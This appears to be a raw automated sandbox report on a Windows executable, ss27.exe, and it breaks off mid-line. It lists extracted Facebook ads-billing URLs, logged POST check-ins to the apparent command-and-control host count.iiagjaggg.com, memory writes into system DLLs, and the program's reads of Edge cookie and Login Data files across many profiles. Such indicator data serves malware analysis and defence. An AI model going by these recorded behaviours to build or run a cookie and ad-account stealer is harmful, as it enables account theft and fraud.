"www.telenettv.be" Heuristic match: "login.windows-ppe.net" Heuristic match: "ohome.eaglex.ic.gov" Heuristic match: "login-us.microsoftonline.com" Heuristic match: "spp.tsm.ibmserviceengage.com" Heuristic match: "immunizealberta.ca" Heuristic match: "auningkartpark.dk" Heuristic match: "login.microsoftonline.de" Pattern match: "www2.gistda.or.th" Heuristic match: "login.microsoftonline.com" Heuristic match: "login.microsoftonline.us" Pattern match: "www.rocdefrance.fr" Heuristic match: "app.initlive.com" Heuristic match: "ver.movistarplus.es" Heuristic match: "chaines-tv.orange.fr" Heuristic match: "listeningparty.bts-butter.com" Heuristic match: "mcg.decipherinc.com" Heuristic match: "dk.hbonordic.com" Heuristic match: "tv.rakuten.co.jp" Heuristic match: "orangetv.orange.es" Heuristic match: "listen.tidal.com" Heuristic match: "open.spotify.com" Pattern match: "www.souz-mid.ru" Heuristic match: "portal.digitalbusiness.telstra.com" Pattern match: "www.my46.org" Heuristic match: "bmo.com" Heuristic match: "office365.us" Heuristic match: "ohome.apps.mil" Heuristic match: "app.figure1.com" Heuristic match: "jinshuschool.cn" Heuristic match: "rev.com" Heuristic match: "osunsa.ddns.net" Heuristic match: "honorlock.com" Heuristic match: "mheducation.com" Heuristic match: "isro.gov.in" Heuristic match: "espace-sante-international.humanis.com" Heuristic match: "atitesting.com" Pattern match: "www.ndtv.com" Heuristic match: "aila.co" Heuristic match: "book.co" Pattern match: "www.reddit.com" Heuristic match: "ndia.in" Heuristic match: "pushengage.com" Heuristic match: "uol.com.br" Heuristic match: "mutualfund.adityabirlacapital.com" Heuristic match: "dao.com" Heuristic match: "visa.co" Heuristic match: "televisa.com" Heuristic match: "bank.co" Heuristic match: "yandex.ru" Pattern match: "www.my5.tv" Heuristic match: "rama.co" Pattern match: "www.netflix.com" Pattern match: "www.streamz.be" Pattern match: "www.twitch.tv" Pattern match: "www.vudu.com" Pattern match: "www.ivi.ru" Pattern match: "www.imdb.com" Pattern match: "www.viki.com" Pattern match: "www.weverse.io" Heuristic match: "login.microsoftonline.eaglex.ic.gov" Pattern match: "www.itv.com" Pattern match: "www.salto.fr" Heuristic match: "login.partner.microsoftonline.cn" Pattern match: "www.rts.ch" Pattern match: "www.npostart.nl" Pattern match: "www.ziggogo.tv" Heuristic match: "powerapps.com" Heuristic match: "k.com" Heuristic match: ".facebook.com" Pattern match: "www.faceb" Pattern match: "ok.com/login/devi" Pattern match: "https://www.facebo" Pattern match: "k.com/ads/manager/ac" Pattern match: "https://www.faceboo" Pattern match: "w.facebook.com/pages/?category=your_pages&ref=b" Pattern match: "https://ww" Pattern match: "ok.com/ap" Pattern match: "https://www.face" Pattern match: "http://aaa.ap" Heuristic match: "acebook.com" Heuristic match: "ok.com" Pattern match: "www.fa" Pattern match: "https://www.f" Heuristic match: "ook.com" Pattern match: "ph.facebook.com/v14.0/act_fb_uid?acce" Pattern match: "https://gra" Pattern match: "https://graph.facebook.com/v14.0/" Pattern match: "https://business.facebook.com/ads/manage" Pattern match: "https://graph.facebook.com/v14.0/act_fb_uid?access_token=fb_ac" Pattern match: "book.com/ads/manag" Pattern match: "http://count.iiagjaggg.com/check/safe" Pattern match: "http://count.iiagjaggg.com/" Heuristic match: "cebook.com" Heuristic match: "f=.je" Heuristic match: "<;.Cd" Heuristic match: ".amazon.com" Heuristic match: ".ebay.com" Pattern match: "www.office.com" Heuristic match: "outlook.live.com" Heuristic match: ".youtube.com" Heuristic match: ".msn.com" Heuristic match: ".ups.com" Heuristic match: ".bing.com" Heuristic match: ".pippio.com" Pattern match: "www.clarity.ms" Heuristic match: ".mediago.io" Heuristic match: ".mgid.com" Heuristic match: ".c.bing.com" Heuristic match: ".c.msn.com" Heuristic match: "ntp.msn.com" Heuristic match: ".scorecardresearch.com" Pattern match: "http://bz.bbbeioaag.com/sts/bimage.jpg" Pattern match: "count.iiagjaggg.com/check/?sid=328181&key=097f790f77590177380f0528f450166c" Heuristic match: "star-mini.c10r.facebook.com" Heuristic match: "ount.iiagjaggg.com" Heuristic match: "ggg.com" Pattern match: "www.facebook.com/ads/manager/account_settings/account_billing" Pattern match: "count.iiagjaggg.com/check/?sid=327643&key=5ee3bfb103f1135d13dbc3577ca20fb4" Pattern match: "www.facebook.com:443" Pattern match: "www.facebook.com:443/login.php?next=https%3A%2F%2Fwww.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing" Heuristic match: "iiagjaggg.com" Pattern match: "www.facebook.com/" Pattern match: "http://count.iiagjaggg.com/check/?sid=328181&key=097f790f77590177380f0528f450166c" Pattern match: "www.facebook.com/login.php?next=https%3A%2F%2Fwww.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing" Pattern match: "count.iiagjaggg.com/check/safe" Heuristic match: "ww.facebook.com" Pattern match: "http://crl3.digicert.com/sha2-ha-server-g6.crl04" Pattern match: "http://crl4.digicert.com/sha2-ha-server-g6.crl0" Pattern match: "http://www.digicert.com/CPS0" Pattern match: "http://ocsp.digicert.com0M" Pattern match: "cacerts.digicert.com/DigiCertSHA2HighAssuranceServerCA.crt0" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0K" Pattern match: "http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0=" Pattern match: "https://www.digicert.com/CPS0" Heuristic match: "Host: count.iiagjaggg.com" Heuristic match: "ling.com" Heuristic match: "ou.tv" Heuristic match: "*.xz.fbcdn.net" Pattern match: "www.insidersurveys.windows.com06" Pattern match: "www.microsoft.com/pki/crl/products/MicCerTruLisPCA_2009-04-02.crl" Pattern match: "crl.microsoft.com/pki/crl/products/MicCerTruLisPCA_2009-04-02.crl0" Pattern match: "www.microsoft.com/pki/certs/MicCerTruLisPCA_2009-04-02.crt0" Pattern match: "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0T" Pattern match: "www.microsoft.com/pki/certs/MicrosoftRootCert.crt0" Pattern match: "http://microsoft.com0" Pattern match: "crl.microsoft.com/pki/crl/products/MicCerLisCA2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/MicCerLisCA2011_2011-03-29.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23.crl0Z" Pattern match: "http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt07" Pattern match: "https://www.facebook.com/login.php?next=https%3A%2F%2Fwww.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing" Pattern match: "https://static.xx.fbcdn.net/rsrc.php/v3/yk/l/0,cross/7Tzn95DcP0u.css?_nc_x=Ij3Wp8lg5Kz" Pattern match: "https://static.xx.fbcdn.net/rsrc.php/v3/yN/l/0,cross/6XAiOmaCzDm.css?_nc_x=Ij3Wp8lg5Kz" Pattern match: "https://static.xx.fbcdn.net/rsrc.php/v3/y5/l/0,cross/KOwbNxFhdCT.css?_nc_x=Ij3Wp8lg5Kz" Pattern match: "https://static.xx.fbcdn.net/rsrc.php/v3/yi/l/0,cross/yotEdcUw9Gj.css?_nc_x=Ij3Wp8lg5Kz" Pattern match: "https://static.xx.fbcdn.net/rsrc.php/v3/yi/l/0,cross/uaRUZk18yNI.css?_nc_x=Ij3Wp8lg5Kz" Pattern match: "https://static.xx.fbcdn.net/rsrc.php/v3/yZ/r/Ml333Srtfwd.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "https://*.fbsbx.com" Heuristic match: "ss3test.com" Heuristic match: "tml5test.com" Heuristic match: "sn.com" Heuristic match: "etflix.com" Heuristic match: "usic.amazon.de" Heuristic match: "bookcreator.com" Heuristic match: "*.facebook.com" Heuristic match: "*.facebook.net" Heuristic match: "*.fbcdn.net" Heuristic match: "*.fbsbx.com" Heuristic match: "*.m.facebook.com" Heuristic match: "*.messenger.com" Heuristic match: "*.xx.fbcdn.net" Heuristic match: "*.xy.fbcdn.net" Heuristic match: "ww.souz-mid.ru" Heuristic match: "ww.my46.org" Heuristic match: "mo.com" Heuristic match: "ffice365.us" Heuristic match: "ps.mil" Heuristic match: "ffice.com" Heuristic match: "pp.figure1.com" Heuristic match: "inshuschool.cn" Heuristic match: "ev.com" Heuristic match: "sunsa.ddns.net" Heuristic match: "heducation.com" Heuristic match: "elevisa.com" Heuristic match: "ww.my5.tv" Heuristic match: "t.com" Heuristic match: "ww.ivi.ru" Heuristic match: "ww.imdb.com" Heuristic match: "ww.viki.com" Heuristic match: "ww.weverse.io" Heuristic match: "ww.npostart.nl" Heuristic match: "ww.ziggogo.tv" Heuristic match: "owerapps.com" Pattern match: "https://www.facebook.com/ads/manager/account_settings/account_billing" Pattern match: "https://static.xx.fbcdn.net/rsrc.php/v3/ye/r/W1DRUwjNzLH.js?_nc_x=Ij3Wp8lg5Kz,nc:1},zPYlTyl:{type:js,src:https://static.xx.fbcdn.net/rsrc.php/v3/yO/r/_tJ17sGyxOX.js?_nc_x=Ij3Wp8lg5Kz,nc:1},O7kNNP8:{type:js,src:https://static.xx.fbcdn.net/rsrc.php/v" Pattern match: "https://www.facebook.com/login.php?next=https%3A%2F%2Fwww.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing,serverLID:720900" Pattern match: "www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown" Pattern match: "https://www.facebook.com/" Pattern match: "https://facebook.com/" Heuristic match: "jaggg.com" Heuristic match: "g.com" Pattern match: "count.iiagjaggg.com/check/?sid=328801&key=f98ee08c6b562bad928208dd74b1c716" Pattern match: "iagjaggg.com/check/safe" Heuristic match: "usic.amazon.it" Heuristic match: "outube.com" Heuristic match: "usic.amazon.in" Heuristic match: "gjaggg.com" Heuristic match: "ww.wirple.com" Heuristic match: "chat.com" Heuristic match: "st.com},{applied_policy:block,domain:files.unity3d.com" Pattern match: "www.caisse-epargne.fr},{applied_policy:OptOut,domain:codepen.io},{applied_policy:OptOut,domain:create.microsoft.com},{applied_policy:OptOut,domain:defenderrazor.com},{applied_policy:OptOut,domain:pexels.com},{applie" Pattern match: "https://www.facebook.com/login.php?next=httpse-Control" Heuristic match: "netestapp.herokuapp.co" Heuristic match: "finity.com" Heuristic match: "atchtv.cox.com" Heuristic match: "axdome.de" Heuristic match: "a7.it" Heuristic match: "hx.tv" Heuristic match: "tathome.com" Heuristic match: "ulu.com" Heuristic match: "v.apple.com" Heuristic match: "bc.com" Heuristic match: "hat.google.com" Heuristic match: "intendo.com" Heuristic match: "lack.com" Heuristic match: "echat.com" Heuristic match: "eixin.com" Heuristic match: "q.com" Heuristic match: "ordpress.com" Heuristic match: "ebex.com" Heuristic match: "gg.com" Pattern match: "www.faceboo" Pattern match: "www.facebook.com/ads/manager/ac" Pattern match: "https://static.xx.fbcdn.net/rsrc.php/y8/r/dF5SId3UHWd.svg" Heuristic match: "titesting.com" Heuristic match: "ushengage.com" Heuristic match: "ion.com" Heuristic match: "ol.com.br" Pattern match: "www.kfc.co.th,learn.pantheon.io,www.landmarkshops.in,www.ncl.com,s0.wp.com,www.tatacliq.com,bs.serving-sys.com,kohls.com,lazada.co.th,xg4ken.com,technopark.ru,officedepot.com.mx,bestbuy.com.mx,booking.com,nibio.no]},3871],[Ini" Pattern match: "http://count.iiagjaggg.com/check/?sid=328801&key=f98ee08c6b562bad928208dd74b1c716" Heuristic match: "book.com" Pattern match: "https://self.events.daA" Pattern match: "www.clarity.msCLIDv10"30:T14a0,"https://www.facebo" (Indicator: "https://") "https://www.faceboo" (Indicator: "https://") "https://ww" (Indicator: "https://") "https://www.face" (Indicator: "https://") "Origin: https://www.f" (Indicator: "https://") "https://gra" (Indicator: "https://") "https://graph.facebook.com/v14.0/" (Indicator: "https://") "https://business.facebook.com/ads/manage" (Indicator: "https://") "https://graph.facebook.com/v14.0/act_fb_uid?access_token=fb_ac" (Indicator: "https://") "cebhttps://www.facebook.com/" (Indicator: "https://") "https://www.digicert.com/CPS0" (Indicator: "https://") "{"status":3,"em":"0"}jl6ZEhJaU9pSmFWVFZYWmxJaWZleUp6YVdRaU9qTXlPREU0TVN3aWRHbHRaU0k2TVRZM09EUT09es":false "isTrustedTypesReportOnly":false "ajaxpipe_token":"AXhUtgAJHQJti5nHb3Y" "gk_instrument_object_url":true "stack_trace_limit":30 "timesliceBufferSize":5000 "show_invariant_decoder":false "compat_iframe_token":"AQ7Gu8RiYOUpuTUNHtY" "isCQuick":false});Log into Facebook" (Indicator: "https://"), "" (Indicator: "https://"), "" (Indicator: "https://"), "" (Indicator: "https://"), "" (Indicator: "https://"), "" (Indicator: "https://"), "" (Indicator: "https://"), "F3pcontent-security-policy: default-src data: blob: 'self' https://*.fbsbx.com 'unsafe-inline' *.facebook.com *.fbcdn.net 'unsafe-eval';script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.google.com 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net 'unsafe-eval';style-src fonts.googleapis.com *.fbcdn.net data: *.facebook.com 'unsafe-inline';connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net wss://*.facebook.com:* wss://*.whatsapp.com:* wss://*.fbcdn.net attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self' http://localhost:3103 wss://gateway.facebook.com wss://edge-chat.facebook.com wss://snaptu-d.facebook.com wss://kaios-d.facebook.com/ v.whatsapp.net *.fbsbx.com *.fb.com;font-src data: *.gstatic.com *.facebook.com *.fbcdn.net *.fbsbx.com;img-src *.fbcdn.net *.facebook.com data: https://*.fbsbx.com *.tenor.co media.tenor.com facebook.com *.cdninstagram.com fbsbx.com fbcdn.net *.giphy.com connect.facebook.net *.carriersignal.info blob: android-webview-video-poster: googleads.g.doubleclick.net www.googleadservices.com *.whatsapp.net *.fb.com *.oculuscdn.com;media-src *.cdninstagram.com blob: *.fbcdn.net *.fbsbx.com www.facebook.com *.facebook.com https://*.giphy.com data:;frame-src *.doubleclick.net *.google.com *.facebook.com www.googleadservices.com *.fbsbx.com fbsbx.com data: www.instagram.com *.fbcdn.net https://paywithmybank.com https://sandbox.paywithmybank.com;worker-src blob: *.facebook.com data:;block-all-mixed-content;upgrade-insecure-requests;" (Indicator: "https://"), "https://www.facebook.com/login.php?next=https%3A%2F%2Fwww.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing" (Indicator: "https://")31:Tf52,Found - (Indicator: "des") in Source: 3d4182d4be7f38a25e526943f33c8a2cb6c88c23bd7d08e8ee5e6c907a72945d.bin Found - (Indicator: "cast") in Source: 3d4182d4be7f38a25e526943f33c8a2cb6c88c23bd7d08e8ee5e6c907a72945d.bin Found - (Indicator: "des") in Source: 00000000-00001944-00000BC0-71579006 Found - (Indicator: "cast") in Source: 00000000-00001944-00000BC0-72051933 Found - (Indicator: "cast") in Source: 00000000-00001944-00000BC0-72052353 Found - (Indicator: "cast") in Source: 00000000-00001944-00000BC0-72052551 Found - (Indicator: "cast") in Source: 00000000-00001944-00000BC0-72052837 Found - (Indicator: "des") in Source: 00000000-00001944.00000000.78582.291A0000.00000002.mdmp 00000000-00001944.00000001.80504.291A0000.00000002.mdmp 00000000-00001944.00000002.82423.291A0000.00000002.mdmp Found - (Indicator: "des") in Source: 00000000-00001944.00000000.78582.2A2C1000.00000020.mdmp 00000000-00001944.00000001.80504.2A2C1000.00000020.mdmp 00000000-00001944.00000002.82423.2A2C1000.00000020.mdmp Found - (Indicator: "des") in Source: 00000000-00001944.00000000.78582.2A32A000.00000002.mdmp 00000000-00001944.00000001.80504.2A32A000.00000002.mdmp 00000000-00001944.00000002.82423.2A32A000.00000002.mdmp Found - (Indicator: "des") in Source: 00000000-00001944.00000000.78582.2A32A000.00000002.mdmp 00000000-00001944.00000000.78582.87E10000.00000040.mdmp 00000000-00001944.00000000.78582.88310000.00000004.mdmp 00000000-00001944.00000000.78582.88500000.00000040.mdmp 00000000-00001944.00000001.80504.2A32A000.00000002.mdmp 00000000-00001944.00000001.80504.87E10000.00000040.mdmp 00000000-00001944.00000001.80504.88310000.00000004.mdmp 00000000-00001944.00000001.80504.88500000.00000040.mdmp 00000000-00001944.00000002.82423.2A32A000.00000002.mdmp 00000000-00001944.00000002.82423.87E10000.00000040.mdmp 00000000-00001944.00000002.82423.88310000.00000004.mdmp 00000000-00001944.00000002.82423.88500000.00000040.mdmp Found - (Indicator: "cast") in Source: 00000000-00001944.00000000.78582.2A32A000.00000002.mdmp 00000000-00001944.00000001.80504.2A32A000.00000002.mdmp 00000000-00001944.00000002.82423.2A32A000.00000002.mdmp Found - (Indicator: "des") in Source: 00000000-00001944.00000000.78582.842A0000.00000002.mdmp 00000000-00001944.00000001.80504.842A0000.00000002.mdmp 00000000-00001944.00000002.82423.842A0000.00000002.mdmp Found - (Indicator: "rsa") in Source: 00000000-00001944.00000000.78582.842A0000.00000002.mdmp 00000000-00001944.00000001.80504.842A0000.00000002.mdmp 00000000-00001944.00000002.82423.842A0000.00000002.mdmp Found - (Indicator: "cast") in Source: 00000000-00001944.00000000.78582.842A0000.00000002.mdmp 00000000-00001944.00000001.80504.842A0000.00000002.mdmp 00000000-00001944.00000002.82423.842A0000.00000002.mdmp Found - (Indicator: "des") in Source: 00000000-00001944.00000000.78582.86400000.00000004.mdmp 00000000-00001944.00000000.78582.87CD0000.00000004.mdmp 00000000-00001944.00000001.80504.86400000.00000004.mdmp 00000000-00001944.00000001.80504.87CD0000.00000004.mdmp 00000000-00001944.00000002.82423.86400000.00000004.mdmp 00000000-00001944.00000002.82423.87CD0000.00000004.mdmp Found - (Indicator: "des") in Source: 00000000-00001944.00000000.78582.86400000.00000004.mdmp 00000000-00001944.00000001.80504.86400000.00000004.mdmp 00000000-00001944.00000002.82423.86400000.00000004.mdmp Found - (Indicator: "des") in Source: 00000000-00001944.00000000.78582.86400000.00000004.mdmp Found - (Indicator: "des") in Source: 00000000-00001944.00000000.78582.86400000.00000004.mdmp 00000000-00001944.00000002.82423.88680000.00000004.mdmp Found - (Indicator: "bz2") in Source: 00000000-00001944.00000000.78582.86400000.00000004.mdmp 00000000-00001944.00000002.82423.88680000.00000004.mdmp Found - (Indicator: "cast") in Source: 00000000-00001944.00000000.78582.86400000.00000004.mdmp 00000000-00001944.00000002.82423.88680000.00000004.mdmp32:T86e,"POST /check/?sid=327643&key=5ee3bfb103f1135d13dbc3577ca20fb4 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.70 Content-Length: 160 Host: count.iiagjaggg.com" with no payload "POST /check/?sid=328181&key=097f790f77590177380f0528f450166c HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.70 Content-Length: 256 Host: count.iiagjaggg.com" with no payload "POST /check/?sid=328801&key=f98ee08c6b562bad928208dd74b1c716 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.70 Content-Length: 160 Host: count.iiagjaggg.com" with no payload "POST /check/?sid=329373&key=09c73bfec4dc7462069fc3d6da5254e2 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.70 Content-Length: 256 Host: count.iiagjaggg.com" with no payload "POST /check/?sid=329947&key=f958431912b070074136d6fd8914343d HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.70 Content-Length: 160 Host: count.iiagjaggg.com" with no payload "POST /check/?sid=330489&key=62dc0a92a284e635eee232805f010e75 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.70 Content-Length: 256 Host: count.iiagjaggg.com" with no payload33:T5b7,Potential IP "109.0.0.0" found in string "GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.70Host: count.iiagjaggg.com" Potential IP "109.0.0.0" found in string "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.70" Potential IP "1.0.0.0" found in string "version="1.0.0.0" />" Potential IP "6.0.0.0" found in string "version="6.0.0.0"" Potential IP "1.0.0.0" found in string "Microsoft.TabletPC.ShapeCollector,processorArchitecture="*",type="win32",version="1.0.0.0"C:\ss27.exe" "10.34.0.24" "1.3.157.61" "3.0.0.0" "0.0.0.10" "1.1.0.0" "3.0.0.3" "1.0.0.23" "1.0.0.8" "0.0.1.4" "1.15.0.1" "1.0.0.2" "3.8.8.3" Potential IP "109.0.0.0" found in string "ser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.70" Potential IP "109.0.0.0" found in string "User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.70" "1.10.3.32" "0.34.0.24" "2.5.29.32" "2.5.29.14" "2.5.29.17" Potential IP "2.5.29.37" found in string "%2.5.29.37" "2.5.29.19" "2.5.29.15" Potential IP "2.5.29.35" found in string "#2.5.29.35" "2.5.29.31"34:Tbdd,"ss27.exe" wrote bytes "010000000000000080edd47aff7f0000" to virtual address "0x8445F000" (part of module "IERTUTIL.DLL") "ss27.exe" wrote bytes "505db58cff7f0000f09fb58cff7f0000" to virtual address "0x7AD9B1D0" (part of module "MSISO.DLL") "ss27.exe" wrote bytes "90eb4884ff7f0000c0284984ff7f000000064e84ff7f0000" to virtual address "0x7D4B8A98" (part of module "WININET.DLL") "ss27.exe" wrote bytes "b011528fff7f0000201d528fff7f0000a01e528fff7f00005010528fff7f00001010528fff7f0000402b528fff7f0000f010528fff7f0000401b528fff7f00007019528fff7f00003015528fff7f0000" to virtual address "0x8BC56050" (part of module "IPHLPAPI.DLL") "ss27.exe" wrote bytes "e01a7086ff7f000070157086ff7f0000" to virtual address "0x8BC56150" (part of module "IPHLPAPI.DLL") "ss27.exe" wrote bytes "a052f38fff7f0000" to virtual address "0x868153D8" (part of module "WINHTTP.DLL") "ss27.exe" wrote bytes "60ebf38fff7f0000e0bcf38fff7f000090c4f38fff7f0000e0bff38fff7f0000" to virtual address "0x8D713DA8" (part of module "WINDOWS.STORAGE.DLL") "ss27.exe" wrote bytes "406cc38bff7f0000e09ec28bff7f0000209fc28bff7f00003071c28bff7f0000d07bc28bff7f0000501fc28bff7f00005019c28bff7f00005018c28bff7f00007089c28bff7f0000b02cc28bff7f0000108ac28bff7f0000" to virtual address "0x868150D8" (part of module "WINHTTP.DLL") "ss27.exe" wrote bytes "5087168fff7f0000" to virtual address "0x7D4B8950" (part of module "WININET.DLL") "ss27.exe" wrote bytes "a02d668cff7f00002033668cff7f0000102e668cff7f0000802f668cff7f0000" to virtual address "0x8445E198" (part of module "IERTUTIL.DLL") "ss27.exe" wrote bytes "d0b45e8fff7f0000c0b55e8fff7f0000b06a5f8fff7f0000e0815e8fff7f0000d05c5e8fff7f000020715f8fff7f0000d06a5f8fff7f000080865e8fff7f000090725e8fff7f0000c09e5e8fff7f000000b45e8fff7f0000" to virtual address "0x8445E098" (part of module "IERTUTIL.DLL") "ss27.exe" wrote bytes "40cea18dff7f0000e0cda18dff7f0000705dab8dff7f0000f0f0a98dff7f000070baa48dff7f0000e0c0aa8dff7f0000" to virtual address "0x86815320" (part of module "WINHTTP.DLL") "ss27.exe" wrote bytes "3046568fff7f000040e9598fff7f00005046568fff7f0000" to virtual address "0x8D713F10" (part of module "WINDOWS.STORAGE.DLL") "ss27.exe" wrote bytes "7042168fff7f0000003e168fff7f0000" to virtual address "0x8CD245B0" (part of module "KERNELBASE.DLL") "ss27.exe" wrote bytes "e0bcf38fff7f0000" to virtual address "0x7D4B88A8" (part of module "WININET.DLL") "ss27.exe" wrote bytes "3037c28bff7f0000b02cc28bff7f0000" to virtual address "0x86E47000" (part of module "DHCPCSVC.DLL") "ss27.exe" wrote bytes "1010ae8bff7f00003013ae8bff7f0000" to virtual address "0x8C9580F0" (part of module "CRYPT32.DLL") "ss27.exe" wrote bytes "b087f38fff7f0000" to virtual address "0x868153E8" (part of module "WINHTTP.DLL") "ss27.exe" wrote bytes "60d60e8dff7f000020023b8dff7f0000" to virtual address "0x7D4B88E0" (part of module "WININET.DLL") "ss27.exe" wrote bytes "3071c28bff7f00005018c28bff7f00007089c28bff7f0000501fc28bff7f00005019c28bff7f0000d07bc28bff7f0000" to virtual address "0x7D4B8220" (part of module "WININET.DLL")35:T174b,"ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Local State" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 1\NETWORK\COOKIES" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 2\NETWORK\COOKIES" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 3\NETWORK\COOKIES" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 4\NETWORK\COOKIES" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 5\NETWORK\COOKIES" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 6\NETWORK\COOKIES" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 7\NETWORK\COOKIES" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 8\NETWORK\COOKIES" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 9\NETWORK\COOKIES" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 10\NETWORK\COOKIES" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 11\NETWORK\COOKIES" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 12\NETWORK\COOKIES" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 13\NETWORK\COOKIES" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 14\NETWORK\COOKIES" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 15\NETWORK\COOKIES" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 16\NETWORK\COOKIES" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 17\NETWORK\COOKIES" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 18\NETWORK\COOKIES" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 19\NETWORK\COOKIES" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 20\NETWORK\COOKIES" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 21\NETWORK\COOKIES" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 22\NETWORK\COOKIES" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 23\NETWORK\COOKIES" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 24\NETWORK\COOKIES" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 25\NETWORK\COOKIES" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 26\NETWORK\COOKIES" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 